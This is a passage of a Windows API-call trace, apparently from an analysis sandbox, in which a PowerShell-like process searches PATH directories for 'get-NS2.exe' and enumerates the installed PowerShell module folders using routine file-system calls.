out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0102.618] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0102.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6e0) returned 1 [0102.618] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\system32" (normalized: "c:\\windows\\system32"), fInfoLevelId=0x0, lpFileInformation=0x843e75c | out: lpFileInformation=0x843e75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6ec28c54, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xebb5ab66, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xebb5ab66, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa0000)) returned 1 [0102.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6dc) returned 1 [0102.618] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e75c) returned 1 [0102.618] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x14 [0102.618] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\system32", nBufferLength=0x14, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\system32", lpFilePart=0x0) returned 0x13 [0102.618] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\system32\\get-NS2.exe.*", lpFindFileData=0x843e484 | out: lpFindFileData=0x843e484*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.618] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6fc) returned 1 [0102.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e708) returned 1 [0102.619] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0102.619] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0102.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6e0) returned 1 [0102.619] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS" (normalized: "c:\\windows"), fInfoLevelId=0x0, lpFileInformation=0x843e75c | out: lpFileInformation=0x843e75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0xc838b81d, ftLastAccessTime.dwHighDateTime=0x1d41dc3, ftLastWriteTime.dwLowDateTime=0xc838b81d, ftLastWriteTime.dwHighDateTime=0x1d41dc3, nFileSizeHigh=0x0, nFileSizeLow=0x7000)) returned 1 [0102.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6dc) returned 1 [0102.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e75c) returned 1 [0102.619] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0xb [0102.619] GetFullPathNameW (in: lpFileName="C:\\WINDOWS", nBufferLength=0xb, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS", lpFilePart=0x0) returned 0xa [0102.619] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\get-NS2.exe.*", lpFindFileData=0x843e484 | out: lpFindFileData=0x843e484*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6fc) returned 1 [0102.619] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e708) returned 1 [0102.619] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0102.619] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0102.619] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6e0) returned 1 [0102.619] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem" (normalized: "c:\\windows\\system32\\wbem"), fInfoLevelId=0x0, lpFileInformation=0x843e75c | out: lpFileInformation=0x843e75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb288124d, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xb288124d, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x8000)) returned 1 [0102.620] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6dc) returned 1 [0102.620] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e75c) returned 1 [0102.620] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x19 [0102.620] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem", nBufferLength=0x19, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\Wbem", lpFilePart=0x0) returned 0x18 [0102.620] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\Wbem\\get-NS2.exe.*", lpFindFileData=0x843e484 | out: lpFindFileData=0x843e484*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6fc) returned 1 [0102.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e708) returned 1 [0102.621] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0102.621] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0102.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6e0) returned 1 [0102.621] GetFileAttributesExW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0"), fInfoLevelId=0x0, lpFileInformation=0x843e75c | out: lpFileInformation=0x843e75c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1856002a, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x172cbef, ftLastAccessTime.dwHighDateTime=0x1d47ca4, ftLastWriteTime.dwLowDateTime=0x8cfff4c6, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1000)) returned 1 [0102.621] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6dc) returned 1 [0102.621] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e75c) returned 1 [0102.621] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2c [0102.621] GetFullPathNameW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", nBufferLength=0x2c, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\", lpFilePart=0x0) returned 0x2b [0102.621] FindFirstFileW (in: lpFileName="C:\\WINDOWS\\System32\\WindowsPowerShell\\v1.0\\get-NS2.exe.*", lpFindFileData=0x843e484 | out: lpFindFileData=0x843e484*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6fc) returned 1 [0102.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e708) returned 1 [0102.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0102.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0102.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e6e0) returned 1 [0102.622] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\microsoft\\windowsapps"), fInfoLevelId=0x0, lpFileInformation=0x843e75c | out: lpFileInformation=0x843e75c*(dwFileAttributes=0x14, ftCreationTime.dwLowDateTime=0x210ad1cc, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xc88fb23e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17d2dc32, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6dc) returned 1 [0102.622] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e75c) returned 1 [0102.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x34 [0102.622] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", nBufferLength=0x34, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps", lpFilePart=0x0) returned 0x33 [0102.622] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Microsoft\\WindowsApps\\get-NS2.exe.*", lpFindFileData=0x843e484 | out: lpFindFileData=0x843e484*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffff [0102.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e6fc) returned 1 [0102.622] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e708) returned 1 [0102.622] CoTaskMemAlloc (cb=0x2cc) returned 0x32b7bc8 [0102.622] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x32b7bc8, nSize=0x164 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules;C:\\Users\\FD1HVy\\Documents\\WindowsPowerShell\\Modules;C:\\Program Files (x86)\\WindowsPowerShell\\Modules;C:\\WINDOWS\\system32\\WindowsPowerShell\\v1.0\\Modules") returned 0xc2 [0102.622] CoTaskMemFree (pv=0x32b7bc8) [0102.623] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules" (normalized: "c:\\program files\\windowspowershell\\modules")) returned 0x10 [0102.624] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0102.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x2b [0102.624] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules", nBufferLength=0x2b, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules", lpFilePart=0x0) returned 0x2a [0102.624] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x76737d0 [0102.624] FindNextFileW (in: hFindFile=0x76737d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb507390a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0102.624] FindNextFileW (in: hFindFile=0x76737d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerShell.Operation.Validation", cAlternateFileName="MICROS~1.VAL")) returned 1 [0102.624] FindNextFileW (in: hFindFile=0x76737d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PackageManagement", cAlternateFileName="PACKAG~1")) returned 1 [0102.624] FindNextFileW (in: hFindFile=0x76737d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pester", cAlternateFileName="")) returned 1 [0102.624] FindNextFileW (in: hFindFile=0x76737d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerShellGet", cAlternateFileName="POWERS~1")) returned 1 [0102.624] FindNextFileW (in: hFindFile=0x76737d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PSReadline", cAlternateFileName="PSREAD~1")) returned 1 [0102.625] FindNextFileW (in: hFindFile=0x76737d0, lpFindFileData=0x843e4c0 | out: lpFindFileData=0x843e4c0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0102.625] FindClose (in: hFindFile=0x76737d0 | out: hFindFile=0x76737d0) returned 1 [0102.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e748) returned 1 [0102.625] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e754) returned 1 [0102.625] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psd1")) returned 0xffffffff [0102.625] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.psm1" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.psm1")) returned 0xffffffff [0102.625] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.cdxml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.cdxml")) returned 0xffffffff [0102.625] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.xaml" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.xaml")) returned 0xffffffff [0102.625] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.ni.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.ni.dll")) returned 0xffffffff [0102.625] GetFileAttributesW (lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Modules.dll" (normalized: "c:\\program files\\windowspowershell\\modules\\modules.dll")) returned 0xffffffff [0102.625] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0102.625] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0102.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e71c) returned 1 [0102.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation" (normalized: "c:\\program files\\windowspowershell\\modules\\microsoft.powershell.operation.validation"), fInfoLevelId=0x0, lpFileInformation=0x843e798 | out: lpFileInformation=0x843e798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e718) returned 1 [0102.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3d [0102.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", nBufferLength=0x3d, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement", lpFilePart=0x0) returned 0x3c [0102.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e71c) returned 1 [0102.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PackageManagement" (normalized: "c:\\program files\\windowspowershell\\modules\\packagemanagement"), fInfoLevelId=0x0, lpFileInformation=0x843e798 | out: lpFileInformation=0x843e798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50eaa6c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e718) returned 1 [0102.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x32 [0102.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", nBufferLength=0x32, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester", lpFilePart=0x0) returned 0x31 [0102.626] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e71c) returned 1 [0102.626] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Pester" (normalized: "c:\\program files\\windowspowershell\\modules\\pester"), fInfoLevelId=0x0, lpFileInformation=0x843e798 | out: lpFileInformation=0x843e798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x462363f6, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x462363f6, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.626] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e718) returned 1 [0102.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x39 [0102.626] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", nBufferLength=0x39, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet", lpFilePart=0x0) returned 0x38 [0102.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e71c) returned 1 [0102.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget"), fInfoLevelId=0x0, lpFileInformation=0x843e798 | out: lpFileInformation=0x843e798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb53eacff, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bfc901, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e718) returned 1 [0102.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x36 [0102.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", nBufferLength=0x36, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline", lpFilePart=0x0) returned 0x35 [0102.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e71c) returned 1 [0102.627] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\PSReadline" (normalized: "c:\\program files\\windowspowershell\\modules\\psreadline"), fInfoLevelId=0x0, lpFileInformation=0x843e798 | out: lpFileInformation=0x843e798*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x4631b23a, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x4631b23a, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0102.627] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x843e718) returned 1 [0102.627] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x843e78c) returned 1 [0102.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x55 [0102.627] GetFullPathNameW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", nBufferLength=0x55, lpBuffer=0x323fc20, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation", lpFilePart=0x0) returned 0x54 [0102.627] FindFirstFileW (in: lpFileName="C:\\Program Files\\WindowsPowerShell\\Modules\\Microsoft.PowerShell.Operation.Validation\\*", lpFindFileData=0x843e4b4 | out: lpFindFileData=0x843e4b4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17bd669e, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xb50744c4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17bd669e, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, 